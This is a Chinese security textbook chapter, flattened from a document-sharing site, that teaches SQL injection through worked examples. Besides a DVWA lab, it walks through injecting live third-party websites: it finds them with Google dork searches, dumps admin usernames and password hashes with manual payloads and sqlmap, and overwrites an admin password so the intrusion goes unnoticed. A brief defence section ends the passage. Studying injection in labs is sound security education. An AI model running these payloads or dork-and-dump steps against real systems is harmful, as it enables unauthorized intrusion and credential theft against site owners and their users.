第6章 數(shù)據(jù)庫系統(tǒng)安全技術(shù)_第1頁
第6章 數(shù)據(jù)庫系統(tǒng)安全技術(shù)_第2頁
第6章 數(shù)據(jù)庫系統(tǒng)安全技術(shù)_第3頁
第6章 數(shù)據(jù)庫系統(tǒng)安全技術(shù)_第4頁
第6章 數(shù)據(jù)庫系統(tǒng)安全技術(shù)_第5頁
已閱讀5頁,還剩53頁未讀, 繼續(xù)免費(fèi)閱讀

付費(fèi)下載

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

XXXXXX學(xué)院信息安全技術(shù)第6章數(shù)據(jù)庫系統(tǒng)安全技術(shù)本章學(xué)習(xí)目標(biāo)·

掌握SQL注入式攻擊的原理·

理解對(duì)SQL注入式攻擊的防范·

掌握使用SQLmap進(jìn)行SQL注入技術(shù)·

了解常見的數(shù)據(jù)庫安全問題及安全威脅·

了解數(shù)據(jù)庫系統(tǒng)安全體系、機(jī)制和需求·

了解數(shù)據(jù)庫安全管理原則數(shù)據(jù)庫系統(tǒng)是計(jì)算機(jī)技術(shù)的一個(gè)重要分支,從20世紀(jì)60年代后期發(fā)展至今,已經(jīng)成為一門非常重要的學(xué)科。數(shù)據(jù)庫是信息存儲(chǔ)管理的主要形式,是單機(jī)或網(wǎng)絡(luò)信息系統(tǒng)的主要基礎(chǔ)。本章通過實(shí)例介紹數(shù)據(jù)庫系統(tǒng)的安全特性及數(shù)據(jù)庫系統(tǒng)安全所面臨的威脅。6.1SQL注入式攻擊SQL(StructuredQueryLanguage,結(jié)構(gòu)化查詢語言)能夠訪問數(shù)據(jù)庫,SQL有很多不同的版本,它們對(duì)相同的關(guān)鍵字(SELECT、UPDATE、DELETE、INSERT、CREATE、ALTER和DROP)有相似的使用方式,當(dāng)前的主流SQL是SQL99。SQL能夠執(zhí)行獲取數(shù)據(jù)庫的信息、對(duì)數(shù)據(jù)庫查詢、向數(shù)據(jù)庫中插入新的記錄、刪除數(shù)據(jù)庫中的記錄和更新數(shù)據(jù)庫中的記錄等操作。SQL注入式攻擊就是把SQL命令插入到Web表單的輸入域或頁面的網(wǎng)址(URL)中,欺騙服務(wù)器執(zhí)行惡意的SQL命令。1.?dāng)?shù)據(jù)庫系統(tǒng)數(shù)據(jù)庫系統(tǒng)分為數(shù)據(jù)庫和數(shù)據(jù)庫管理系統(tǒng):數(shù)據(jù)庫是存放數(shù)據(jù)的地方;數(shù)據(jù)庫管理系統(tǒng)是管理數(shù)據(jù)庫的軟件。數(shù)據(jù)庫中數(shù)據(jù)的存儲(chǔ)結(jié)構(gòu)稱為數(shù)據(jù)模型,有4種常見的數(shù)據(jù)模型:層次模型、網(wǎng)狀模型、關(guān)系模型和面向?qū)ο竽P汀F渲?,關(guān)系模型是最主要的數(shù)據(jù)模型。MSAccess、MSSQLServer、Oracle、MySQL、Postgres、Sybase、Infomix和DB2等都是關(guān)系數(shù)據(jù)庫系統(tǒng)。6.1SQL注入式攻擊2.SQL注入的條件SQL注入式攻擊是一種利用用戶輸入構(gòu)造SQL語句的攻擊。如果Web應(yīng)用程序沒有適當(dāng)?shù)貦z測(cè)用戶輸入的信息,攻擊者就有可能改變后臺(tái)執(zhí)行的SQL語句的結(jié)構(gòu)。由于程序運(yùn)行SQL語句時(shí)的權(quán)限與當(dāng)前該組件(如數(shù)據(jù)庫服務(wù)器、Web服務(wù)器等)的權(quán)限相同,而這些組件一般的運(yùn)行權(quán)限都很高,而且經(jīng)常是以管理員的權(quán)限運(yùn)行,所以攻擊者獲得數(shù)據(jù)庫的完全控制權(quán)后,就可能執(zhí)行系統(tǒng)命令。SQL注入是現(xiàn)今存在最廣泛的Web漏洞之一,是存在于Web應(yīng)用程序開發(fā)中的漏洞,不是數(shù)據(jù)庫本身的問題。只有調(diào)用數(shù)據(jù)庫的動(dòng)態(tài)頁面才有可能存在注入漏洞,動(dòng)態(tài)頁面包括ASP、JSP、PHP、Perl和CGI等。當(dāng)訪問一個(gè)網(wǎng)頁時(shí),如果URL中包含“asp?id=”、“php?id=”或“jsp?id=”等類似內(nèi)容,那么此時(shí)就要調(diào)用數(shù)據(jù)庫的動(dòng)態(tài)頁面了,“?”后面的id稱為變量,“=”后面的值稱為參數(shù)。注入漏洞存在的一個(gè)重要條件是程序?qū)τ脩籼峤坏淖兞繘]有進(jìn)行有效的過濾,就直接放入SQL語句中了。據(jù)統(tǒng)計(jì),網(wǎng)站使用ASP+MSAccess或MSSQLServer的占70%以上,使用PHP+MySQL的占20%,其他不到10%。下面通過實(shí)例介紹SQL注入式攻擊給Web應(yīng)用帶來的威脅。6.1.1實(shí)例——注入式攻擊MSSQLServer本節(jié)要注入的網(wǎng)站如圖6.1所示,由于只是為了介紹注入網(wǎng)站的方法,并未實(shí)質(zhì)入侵該網(wǎng)站,同時(shí)也是為了對(duì)該網(wǎng)站保密,因此在后面的截圖中隱藏了該網(wǎng)站的相關(guān)信息。圖6.1顯示的是要被注入網(wǎng)站的首頁,將鼠標(biāo)放在“我院召開‘平安奧運(yùn)’工作部署會(huì)”上,在狀態(tài)欄顯示其URL是/detail.asp?productid=392??吹経RL中有類似“detail.asp?productid”這樣的信息,就可以猜測(cè)該網(wǎng)站是否存在注入漏洞了。第1步:加單引號(hào)。如圖6.2所示是在瀏覽器地址欄中/detail.asp?productid=392后面加一個(gè)單引號(hào),按Enter鍵后,服務(wù)器返回的錯(cuò)誤提示。圖6.1被注入網(wǎng)站的首頁圖6.2加單引號(hào)6.1.1實(shí)例——注入式攻擊MSSQLServer第2步:測(cè)試“and1=1”。如圖6.3所示,在瀏覽器地址欄中/detail.asp?productid=392后面加“and1=1”,按Enter鍵后,服務(wù)器返回到正常頁面。第3步:測(cè)試“and1=2”。如圖6.4所示,在瀏覽器地址欄中/detail.asp?productid=392后面加“and1=2”,按Enter鍵后,服務(wù)器返回錯(cuò)誤提示。圖6.4測(cè)試“and1=2”圖6.3測(cè)試“and1=1”6.1.1實(shí)例——注入式攻擊MSSQLServer第4步:判斷數(shù)據(jù)庫類型。對(duì)于不同的數(shù)據(jù)庫,它們的函數(shù)和注入方法都有差異,所以在注入之前,還要判斷數(shù)據(jù)庫的類型。如果在第1步加單引號(hào)后得不到有價(jià)值的信息,那么可以利用“anduser>0”來判斷數(shù)據(jù)庫類型。如圖6.5所示,在瀏覽器地址欄中/detail.asp?productid=392后面加“anduser>0”,按Enter鍵后,服務(wù)器返回錯(cuò)誤提示,可知是SQLServer數(shù)據(jù)庫。如果是SQLServer數(shù)據(jù)庫,那么該網(wǎng)址顯示的頁面與“/detail.asp?productid=392”是一樣的,如圖6.6所示。圖6.6selectcount(*)fromsysobjects圖6.5測(cè)試“anduser>0”6.1.1實(shí)例——注入式攻擊MSSQLServer使用下面的語句:/detail.asp?productid=392and(selectcount(*)frommsysobjects)>0如果是SQLServer數(shù)據(jù)庫,由于找不到表msysobjects,服務(wù)器會(huì)返回錯(cuò)誤提示“對(duì)象名'msysobjects'無效”,如圖6.7所示,如果Web程序有容錯(cuò)能力,那么服務(wù)器返回頁面也與原頁面不同。圖6.8selectcount(*)frommsysobjects使用下面的語句:/ReadNews.asp?NewsID=294and(selectcount(*)frommsysobjects)>0如圖6.8所示,服務(wù)器會(huì)返回錯(cuò)誤提示“不能讀取記錄;在'msysobjects'上沒有讀取數(shù)據(jù)權(quán)限”,說明是SQLServer數(shù)據(jù)庫。圖6.7selectcount(*)frommsysobjects6.1.1實(shí)例——注入式攻擊MSSQLServer使用下面的語句:/ReadNews.asp?NewsID=294and(selectcount(*)fromsysobjects)>0如圖6.9所示,服務(wù)器會(huì)返回錯(cuò)誤提示。圖6.10猜測(cè)表名失敗圖6.8和圖6.9是基于網(wǎng)站進(jìn)行的測(cè)試。第5步:猜測(cè)表名。如圖6.10所示,在瀏覽器地址欄中/detail.asp?productid=392后面加“and(selectcount(*)fromadmin)>=0”,按Enter鍵后,服務(wù)器返回錯(cuò)誤提示,說明不存在“admin”表。圖6.9selectcount(*)fromsysobjects6.1.1實(shí)例——注入式攻擊MSSQLServer繼續(xù)猜測(cè)表名,如圖6.11所示,在/detail.asp?productid=392后面加“and(selectcount(*)fromadminuser)>=0”,返回正常頁面,說明存在“adminuser”表,猜測(cè)成功。圖6.11猜測(cè)表名成功6.1.1實(shí)例——注入式攻擊MSSQLServer第6步:猜測(cè)字段名(用戶名和密碼字段)。猜出表名以后,將count(*)替換成count(字段名),用同樣的方法猜測(cè)字段名。如圖6.12所示,在瀏覽器地址欄中/detail.asp?productid=392后面加“andexists(selectcount(name)fromadminuser)>=0”,按Enter鍵后,服務(wù)器返回錯(cuò)誤提示,說明不存在“name”用戶名字段。繼續(xù)猜測(cè)用戶名字段名,如圖6.13所示,在/detail.asp?productid=392后面加“and(selectcount(admin_name)fromadminuser)>=0”,返回正常頁面,說明存在“admin_name”用戶名字段名,猜測(cè)成功。圖6.13猜測(cè)用戶名字段名成功圖6.12猜測(cè)用戶名字段名失敗6.1.1實(shí)例——注入式攻擊MSSQLServer第7步:猜測(cè)用戶名。已知表adminuser中存在admin_name字段,下面使用ASCII逐字解碼法猜測(cè)用戶名。首先,猜測(cè)用戶名的長度。如圖6.14所示,在瀏覽器地址欄中http://www.xxx./detail.asp?productid=392后面加“and(selecttop1len(admin_name)fromadminuser)>11”,含義是取第一條記錄,測(cè)試用戶名長度,按Enter鍵后,返回正常頁面,說明用戶名的長度大于11。圖6.15用戶名長度不大于12繼續(xù)猜測(cè)用戶名長度,如圖6.15所示,在/detail.asp?productid=392后面加“and(selecttop1len(admin_name)fromadminuser)>12”,返回錯(cuò)誤頁面,說明用戶名的長度不大于12,所以用戶名的長度是12。圖6.14用戶名長度大于116.1.1實(shí)例——注入式攻擊MSSQLServer得到admin_name的長度以后,用unicode(substring(admin_name,N,1))獲得第N位字符的ASCII碼,比如:(1)猜測(cè)第1個(gè)字符。如圖6.16所示,從productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>0到productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>121顯示正常;如圖6.17所示,productid=392and(selecttop1unicode(substring(admin_name,1,1))fromadminuser)>122顯示不正常,得到第1個(gè)字符是“z”(查ASCII碼字符表,字符z的十進(jìn)制編碼是122)。圖6.17繼續(xù)猜測(cè)第1個(gè)字符圖6.16猜測(cè)第1個(gè)字符6.1.1實(shí)例——注入式攻擊MSSQLServer第8步:猜測(cè)用戶密碼。按照猜測(cè)用戶名的方法猜測(cè)用戶密碼,一般情況下,密碼是經(jīng)MD5加密后存入表中的,如果成功,得到的也是加密后的密碼,所以還要對(duì)密碼進(jìn)行破解。第9步:修改密碼。如果破解密碼的難度很大,那么可以修改已經(jīng)猜測(cè)的用戶名對(duì)應(yīng)的密碼,即/detail.asp?productid=392;updateadminusersetadmin_pwd='a0b923820dcc509a'whereadmin_name='zhoushanshan';--“a0b923820dcc509a”是1的MD5值,即把密碼改成1,zhoushanshan為已猜測(cè)的用戶名,可以用同樣的方法把密碼改為原來的值,目的是不讓真實(shí)的zhoushanshan用戶發(fā)現(xiàn)系統(tǒng)被入侵了。6.1.2實(shí)例——注入式攻擊Access本節(jié)要注入網(wǎng)站的URL是/productDetail_c.asp?ID=568,由于只是為了介紹注入網(wǎng)站的方法,并未實(shí)質(zhì)入侵該網(wǎng)站,同時(shí)也是為了對(duì)該網(wǎng)站保密,因此在后面的截圖中隱藏了該網(wǎng)站的相關(guān)信息。第1步:加單引號(hào)。如圖6.18所示,在瀏覽器地址欄中/roduct-Detail_.asp?ID=568后面加一個(gè)單引號(hào),按Enter鍵后,服務(wù)器返回錯(cuò)誤提示。圖6.19測(cè)試“and1=1”第2步:測(cè)試“and1=1”。如圖6.19所示,在瀏覽器地址欄中/productDetail_c.asp?ID=568后面加“and1=1”,按Enter鍵后,服務(wù)器返回正常頁面。圖6.18加單引號(hào)6.1.2實(shí)例——注入式攻擊Access第3步:測(cè)試“and1=2”。如圖6.20所示,在瀏覽器地址欄中/productDetail_c.asp?ID=568后面加“and1=2”,按Enter鍵后,服務(wù)器返回異常頁面。圖6.21selectcount(*)fromsysobjects第4步:判斷數(shù)據(jù)庫類型。Access和SQLServer都有自己的系統(tǒng)表,如存放數(shù)據(jù)庫中所有對(duì)象的表:Access是在系統(tǒng)表“msysobjects”中,但在Web環(huán)境下讀該表會(huì)提示“沒有權(quán)限”;SQL

Server是在表“sysobjects”中,在Web環(huán)境下可正常讀取。在確認(rèn)可以注入的情況下,使用下面的語句:/productDetail_c.asp?ID=568and(selectcount(*)fromsysobjects)>0如果數(shù)據(jù)庫是Access,由于找不到表sysobjects,服務(wù)器返回如圖6.21所示的錯(cuò)誤提示。圖6.20測(cè)試“and1=2”6.1.2實(shí)例——注入式攻擊Access使用下面的語句:/productDetail_c.asp?ID=568and(selectcount(*)frommsysobjects)>0如果是Access數(shù)據(jù)庫,服務(wù)器會(huì)返回錯(cuò)誤提示“在'msysobjects'上沒有讀取數(shù)據(jù)權(quán)限”,如圖6.22所示。如果Web程序有容錯(cuò)能力,那么服務(wù)器返回的頁面也會(huì)與原頁面不同。第5步:猜測(cè)表名。猜測(cè)表名時(shí)可以使用如下形式:/productDetail_c.asp?ID=568and(selectcount(*)fromadmin)>=0/productDetail_c.asp?ID=568andexists(select*fromadmin)是向數(shù)據(jù)庫查詢是否存在admin表,如果存在則返回正常頁面,不存在則返回錯(cuò)誤提示。如此循環(huán),直至猜測(cè)到表名為止。返回正常頁面時(shí),猜測(cè)到管理員表是admin。表6.1列出了常見的管理員表名,猜測(cè)時(shí)僅供參考。圖6.22selectcount(*)frommsysobjects6.1.2實(shí)例——注入式攻擊Access第6步:猜測(cè)字段名(用戶名和密碼字段)。表名猜出來后,將count(*)替換成count(字段名),用同樣的原理猜測(cè)字段名。首先猜測(cè)用戶名字段:/productDetail_c.asp?ID=568and(selectcount(username)fromadmin)>=0/productDetail_c.asp?ID=568andexists(selectusernamefromadmin)返回正常頁面,用戶名字段猜測(cè)成功,用戶名字段名是“username”。然后猜測(cè)密碼字段:/productDetail_c.asp?ID=568and(selectcount(password)fromadmin)>=0/productDetail_c.asp?ID=568andexists(selectpasswordfromadmin)返回正常頁面,則密碼字段猜測(cè)成功,密碼字段名是“password”。表6.1列出了常見的賬戶字段名稱和密碼字段名稱,猜測(cè)時(shí)僅供參考。第7步:猜測(cè)用戶名。已知表admin中存在username字段,下面使用ASCII逐字解碼法猜測(cè)用戶名。猜測(cè)用戶名的長度:/productDetail_c.asp?ID=568and(selecttop1len(username)fromadmin)>4返回正常頁面,/productDetail_c.asp?ID=568and(selecttop1len(username)fromadmin)>5返回不正常頁面,可知用戶名長度是5。6.1.2實(shí)例——注入式攻擊Access第8步:猜測(cè)用戶密碼。已知表admin中存在password字段,下面猜測(cè)用戶admin的密碼。猜測(cè)密碼的長度:/productDetail_c.asp?ID=568and(selecttop1len(password)fromadmin)>15返回正常頁面,/productDetail_c.asp?ID=568and(selecttop1len(password)fromadmin)>16返回不正常頁面,可知用戶admin的密碼長度是16(md5加密后的)。在得到用戶admin的密碼長度后,就可以用asc(mid(password,N,1))獲得第N位字符的ASCII碼,比如:(1)猜測(cè)第1個(gè)字符。從ID=568and(selecttop1asc(mid(password,1,1))fromadmin)>0到ID=568and(selecttop1asc(mid(password,1,1))fromadmin)>56顯示正常,而ID=568and(selecttop1asc(mid(password,1,1))fromadmin)>57顯示不正常,得到第1個(gè)字符是“9”(查ASCII碼字符表,字符9的十進(jìn)制編碼是57)。(15)猜測(cè)第15個(gè)字符。從ID=568and(selecttop1asc(mid(password,15,1))fromadmin)>0到ID=568and(selecttop1asc(mid(password,15,1))fromadmin)>56顯示正常,而ID=568and(selecttop1asc(mid(password,15,1))fromadmin)>57顯示不正常,得到第15個(gè)字符是“9”(查ASCII碼字符表,字符9的十進(jìn)制編碼是57)。(16)猜測(cè)第16個(gè)字符。從ID=568and(selecttop1asc(mid(password,16,1))fromadmin)>0到ID=568and(selecttop1asc(mid(password,16,1))fromadmin)>96顯示正常,而ID=568and(selecttop1asc(mid(password,16,1))fromadmin)>97顯示不正常,得到第16個(gè)字符是“a”(查ASCII碼字符表,字符a的十進(jìn)制編碼是97)。最終得到md5密碼是“993a366f61fd519a”,然后要對(duì)密碼進(jìn)行破解。6.1.4SQLmapSQLmap是一個(gè)強(qiáng)大免費(fèi)開源的自動(dòng)化SQL注入工具,主要功能是掃描、發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞。目前支持的數(shù)據(jù)庫有:MySQL、Oracle、PostgreSQL、MicrosoftSQLServer、MicrosoftAccess、SQLite、Firebird、Sybase、SAPMaxDB。SQLmap采用4種獨(dú)特的SQL注入技術(shù):盲推理SQL注入、UNION查詢SQL注入、堆查詢及基于時(shí)間的SQL盲注入。其廣泛的功能和選項(xiàng)包括數(shù)據(jù)庫指紋、枚舉、數(shù)據(jù)庫提取、訪問目標(biāo)文件系統(tǒng),并在獲取完全操作權(quán)限時(shí)實(shí)行任意命令。SQLmap命令選項(xiàng)被歸類為目標(biāo)、請(qǐng)求、優(yōu)化、注入、檢測(cè)、技巧(Techniques)、指紋、枚舉等選項(xiàng)。SQLmap命令語法如下。sqlmap[options]{-u<URL>|-g<googledork>|-c<configfile>}SQLmap命令Options(選項(xiàng))說明如表6.3~表6.16所示。

6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入1.實(shí)驗(yàn)環(huán)境實(shí)驗(yàn)環(huán)境如圖6.26所示,使用宿主機(jī)(Windows10)、虛擬機(jī)KaliLinux(攻擊機(jī))、虛擬機(jī)WinXPsp3(目標(biāo)機(jī)),KaliLinux和WinXPsp3虛擬機(jī)的網(wǎng)絡(luò)連接方式選擇“僅主機(jī)(Host-Only)網(wǎng)絡(luò)”。KaliLinux虛擬機(jī)有兩塊網(wǎng)卡,為了能夠訪問互聯(lián)網(wǎng),第二塊網(wǎng)卡設(shè)置為NAT。從宿主機(jī)將文件xampp-win32-1.8.2-6-VC9-installer.exe、DVWA-20200503.zip拖放到目標(biāo)機(jī)中。圖6.26實(shí)驗(yàn)環(huán)境6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入2.安裝XAMPP在目標(biāo)機(jī)(WinXPsp3)雙擊xampp-win32-1.8.2-6-VC9-installer.exe安裝XAMPP,安裝位置是C:\xampp,安裝組件選擇默認(rèn)安裝,如圖6.27所示,安裝完成后,出現(xiàn)XAMPP控制面板窗口,如圖6.28所示,單擊“Start”按鈕,開啟Apache和MySQL服務(wù)。圖6.27XAMPP安裝組件6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入圖6.28XAMPP控制面板,Apache和MySQL6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入圖6.29數(shù)據(jù)庫設(shè)置頁面6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入3.安裝DVWA在目標(biāo)機(jī)(WinXPsp3),右鍵單擊桌面DVWA-20200503.zip文件,將其解壓到C:\xampp\htdocs,然后將DVWA-master命名為dvwa,因此DVWA的安裝位置是C:\xampp\htdocs\dvwa。在IE瀏覽器的地址欄中輸入/dvwa/并訪問,會(huì)顯示一個(gè)數(shù)據(jù)庫設(shè)置頁面,如圖6.29所示。將文件C:\xampp\htdocs\dvwa\config\config.inc.php.dist改名為config.inc.php,文件中$_DVWA['db_password']='p@ssw0rd'修改為$_DVWA['db_password']='',保存config.inc.php文件,如圖6.30所示。圖6.30修改密碼6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入在圖6.28中,重啟Apache服務(wù)?;氐綖g覽器(如圖6.29所示),單擊頁面下方的“Create/ResetDatabase”按鈕,進(jìn)入登錄頁面,如圖6.31所示。輸入默認(rèn)用戶名/密碼(admin/password),進(jìn)入Web應(yīng)用程序,如圖6.32所示。圖6.31進(jìn)入登錄頁面 圖6.32進(jìn)入Web應(yīng)用程序6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入4.使用SQLmap進(jìn)行SQL注入下面操作都在攻擊機(jī)(KaliLinux)中進(jìn)行。第1步:獲得當(dāng)前會(huì)話Cookie等信息在Firefox瀏覽器中依次選擇菜單欄“Tools”→“Add-ons”,在搜索欄里輸入TamperData,從搜索結(jié)果中選擇TamperData安裝,如圖6.33所示。圖6.33安裝插件TamperData6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入在Firefox瀏覽器的地址欄中輸入02/dvwa/并訪問,輸入默認(rèn)用戶名/密碼(admin/password),登錄Web應(yīng)用程序,為方便實(shí)驗(yàn),將DVWA安全等級(jí)設(shè)置為Low,如圖6.34所示。使用SQLmap之前,需要獲得當(dāng)前會(huì)話Cookie等信息,用來在滲透過程中維持連接狀態(tài)。單擊圖6.34右上角的“TamperData”按鈕,彈出窗口如圖6.35所示,單擊“Yes”按鈕,啟動(dòng)插件TamperData。再次回到如圖6.34所示頁面,單擊“F5”刷新頁面,彈出窗口如圖6.36所示,得到當(dāng)前的Cookie為“security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5”。再次單擊圖6.34右上角的“TamperData”按鈕,停止插件TamperData的運(yùn)行。圖6.1被注入網(wǎng)站的首頁6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入圖6.34設(shè)置DVWA安全等級(jí)為Low6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入圖6.35啟動(dòng)插件TamperData6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入圖6.36獲得當(dāng)前會(huì)話Cookie等信息6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第2步:獲得目標(biāo)頁面單擊圖6.34左側(cè)欄的SQLInjection,接下來進(jìn)入頁面的“SQLInjection”部分,輸入任意值(asd)并提交,如圖6.37所示。圖6.37獲得目標(biāo)頁面URL6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入可以看到get請(qǐng)求的ID參數(shù)(在瀏覽器地址欄)如下,這就是所需目標(biāo)頁面的URL。02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#第3步:初步驗(yàn)證網(wǎng)站是否可以進(jìn)行SQL注入執(zhí)行如下命令初步驗(yàn)證網(wǎng)站是否可以進(jìn)行SQL注入,結(jié)果如圖6.38所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"圖6.38初步驗(yàn)證網(wǎng)站是否可以進(jìn)行SQL注入6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第4步:檢索當(dāng)前數(shù)據(jù)庫和當(dāng)前用戶執(zhí)行如下命令檢索當(dāng)前數(shù)據(jù)庫和當(dāng)前用戶,結(jié)果如圖6.39所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"-b--current-db--current-user圖6.39檢索當(dāng)前數(shù)據(jù)庫和當(dāng)前用戶6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第5步:探測(cè)MYSQL中用來存放應(yīng)用數(shù)據(jù)的數(shù)據(jù)庫名稱執(zhí)行如下命令檢索存放應(yīng)用數(shù)據(jù)的數(shù)據(jù)庫名稱,結(jié)果如圖6.40所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"--dbs圖6.40枚舉DBMS中的數(shù)據(jù)庫6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第6步:枚舉指定數(shù)據(jù)庫中的表執(zhí)行如下命令枚舉指定數(shù)據(jù)庫(DVWA)中的表,結(jié)果如圖6.41所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"-Ddvwa--tables圖6.41枚舉指定數(shù)據(jù)庫中的表6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第7步:枚舉指定表中的所有列執(zhí)行如下命令枚舉指定表(users)中的所有列,結(jié)果如圖6.42所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"-Ddvwa-Tusers--columns圖6.42枚舉指定表中的所有列6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入第8步:導(dǎo)出指定表中所有的用戶名和密碼執(zhí)行如下命令檢索指定表(users)中所有的用戶名和密碼,結(jié)果如圖6.43所示。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"-Ddvwa-Tusers--columns--dump圖6.43導(dǎo)出指定表中所有的用戶名和密碼6.1.5實(shí)例——使用SQLmap進(jìn)行SQL注入感興趣的列是user和password。執(zhí)行如下命令將指定列的內(nèi)容(所有用戶名與密碼)提取出來,SQLmap會(huì)提問是否破解密碼,輸入Y,按回車鍵確認(rèn)。結(jié)果如圖6.44所示。此時(shí),可以使用admin帳戶登錄系統(tǒng)。sqlmap-u"02/dvwa/vulnerabilities/sqli/?id=asd&Submit=Submit#"--cookie="security=low;PHPSESSID=b8fkg76oubth7bv28euhttnit5"-Ddvwa-Tusers-Cuser,password--dump圖6.44導(dǎo)出指定表中所有的用戶名和密碼6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站1.實(shí)驗(yàn)環(huán)境實(shí)驗(yàn)環(huán)境如圖6.26所示,使用宿主機(jī)(Windows10)和虛擬機(jī)KaliLinux。2.使用SQLmap注入外部網(wǎng)站第1步:尋找目標(biāo)網(wǎng)站在宿主機(jī)(Windows10),使用google或baidu搜索“inurl:"tw/news.asp?id="”或“inurl:"tw/news.php?id="”,搜索結(jié)果如圖6.45所示。其他可以搜索的字符串可參考表6.17,對(duì)于asp站點(diǎn),可將表6.17中的php替換為asp。圖6.45使用google尋找目標(biāo)網(wǎng)站6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站下面的操作都在虛擬機(jī)KaliLinux中進(jìn)行。第2步:從搜索結(jié)果中選擇一個(gè)網(wǎng)站從搜索結(jié)果中選擇一個(gè)目標(biāo)網(wǎng)站(URL:.tw/news.php?id=97),使用Firefox瀏覽器訪問URL,如圖6.46所示。圖6.46選擇一個(gè)目標(biāo)網(wǎng)站6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第3步:檢測(cè)選擇的網(wǎng)站是否存在漏洞方法1:在上一步的URL最后加上單引號(hào),單引號(hào)的URL編碼為%27。在瀏覽器訪問.tw/news.php?id=97%27,如圖6.47所示。沒有報(bào)錯(cuò),并且與圖6.46對(duì)比頁面發(fā)生了變化,說明網(wǎng)站存在SQL注入漏洞。字符URL編碼是該字符的ASCII值的十六進(jìn)制表示,再在前面加個(gè)%。圖6.47瀏覽器訪問URL6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站方法2:在瀏覽器訪問.tw/news.php?id=97%20and%201=1,如圖6.48所示。在瀏覽器訪問.tw/news.php?id=97%20and%201=2,如圖6.49所示。圖6.49URL后加上“and1=2”圖6.48URL后加上“and1=1”6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第4步:獲取數(shù)據(jù)庫版本執(zhí)行如下命令獲取數(shù)據(jù)庫版本,結(jié)果如圖6.50所示。sqlmap-u".tw/news.php?id=97"圖6.50獲取數(shù)據(jù)庫版本6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第5步:探測(cè)MYSQL中用來存放應(yīng)用數(shù)據(jù)的數(shù)據(jù)庫名稱執(zhí)行如下命令檢索存放應(yīng)用數(shù)據(jù)的數(shù)據(jù)庫名稱(hooyaico、information_schema),結(jié)果如圖6.51所示。sqlmap-u".tw/news.php?id=97"--dbs圖6.51枚舉DBMS中的數(shù)據(jù)庫6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第6步:枚舉指定數(shù)據(jù)庫中的表執(zhí)行如下命令枚舉指定數(shù)據(jù)庫(hooyaico)中的表(options、account、category、detail、indexpic、moon、news、news_k),結(jié)果如圖6.52所示。sqlmap-u".tw/news.php?id=97"-Dhooyaico--tables圖6.52枚舉指定數(shù)據(jù)庫中的表6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第7步:枚舉指定表中的所有列執(zhí)行如下命令枚舉指定表(account)中的所有列(id、account、passwd),結(jié)果如圖6.53所示。sqlmap-u".tw/news.php?id=97"-Dhooyaico-Taccount--columns圖6.53枚舉指定表中的所有列6.1.6實(shí)例——使用SQLmap注入外部網(wǎng)站第8步:進(jìn)行暴庫,導(dǎo)出指定表中所有的用戶名和密碼執(zhí)行如下命令檢索指定表(users)中所有的用戶名和密碼,結(jié)果如圖6.54所示,發(fā)現(xiàn)弱口令很快被破解。復(fù)雜口令的密文可以使用其他工具進(jìn)一步破解。sqlmap-u".tw/news.php?id=97"-Dhooyaico-Taccount--columns--dump或sqlmap-u".tw/news.php?id=97"-Dhooyaico-Taccount-Caccount,passwd--dump圖6.54導(dǎo)出指定表中所有的用戶名和密碼6.1.7如何防范SQL注入式攻擊要防止ASP應(yīng)用被SQL注入式攻擊,只需在將表單輸入的內(nèi)容構(gòu)造成SQL命令之前,把所有的輸入內(nèi)容過濾一遍即可。過濾輸入內(nèi)容的方式如下。1.對(duì)于動(dòng)態(tài)構(gòu)造SQL查詢的場(chǎng)合(1)替換單引號(hào)。把所有單獨(dú)出現(xiàn)的單引號(hào)改成兩個(gè)單引號(hào),防止攻擊者修改SQL命令的含義。再來看前面的例子,“select*fromadminwherename='''or''1''=''1'andpassword='''or''1''=''1'”顯然會(huì)得到與“select*fromadminwherename=''or'1'='1'andpassword=''or'1